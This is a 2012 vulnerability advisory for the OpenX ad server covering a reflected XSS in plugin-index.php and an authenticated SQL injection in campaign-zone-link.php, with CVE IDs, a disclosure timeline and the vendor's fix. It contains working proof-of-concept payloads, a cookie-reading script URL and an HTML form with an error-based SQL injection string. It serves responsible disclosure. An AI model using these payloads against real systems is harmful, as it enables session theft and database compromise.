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Multiple vulnerabilities in OpenX

Advisory ID:HTB23116
Product:OpenX
Vendor:OpenX
Vulnerable Versions:2.8.10 and probably prior
Tested Version:2.8.10
Advisory Publication:September 19, 2012 [without technical details]
Vendor Notification:September 19, 2012
Vendor Fix:September 28, 2012
Public Disclosure:October 10, 2012
Latest Update:September 28, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
CVE References:CVE-2012-4989
CVE-2012-4990
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenX, which can be exploited to perform Cross-Site Scripting (XSS) and SQL Injection attacks.


1) Cross-Site Scripting (XSS) in OpenX: CVE-2012-4989

Input passed via the "parent" GET parameter to /www/admin/plugin-index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/www/admin/plugin-index.php?action=info&group=vastInlineBannerTypeHtml&parent=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E


2) SQL Injection in OpenX: CVE-2012-4990

Input passed via the "ids[]" POST parameter to /www/admin/campaign-zone-link.php is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

The following PoC demonstrates the vulnerability:

<form action="http://[host]/www/admin/campaign-zone-link.php" method="post">
<input type="hidden" name="action" value='link' />
<input type="hidden" name="ids[]" value="z1)) OR 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))) -- " />
<input type="hidden" name="clientid" value='[CLIENT_ID]' />
<input type="hidden" name="campaignid" value='[CAMPAIGN_ID]' />
<input type="submit" id="btn">
</form>

Successful exploitation of this vulnerability requires attacker to be registered, logged-in and have permission to access link zone.


Solution:
Fixed in SVN repository, revision 81823

Replace next files:
[CWE-79] https://svn.openx.org/openx/trunk/lib/templates/admin/plugin-group-view.html
[CWE-89] https://svn.openx.org/openx/trunk/www/admin/campaign-zone-link.php


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References:
[1] High-Tech Bridge Advisory HTB23116 - https://www.htbridge.com/advisory/HTB23116 - Multiple vulnerabilities in OpenX.
[2] OpenX - http://www.openx.com - Open source ad serving platform for publishers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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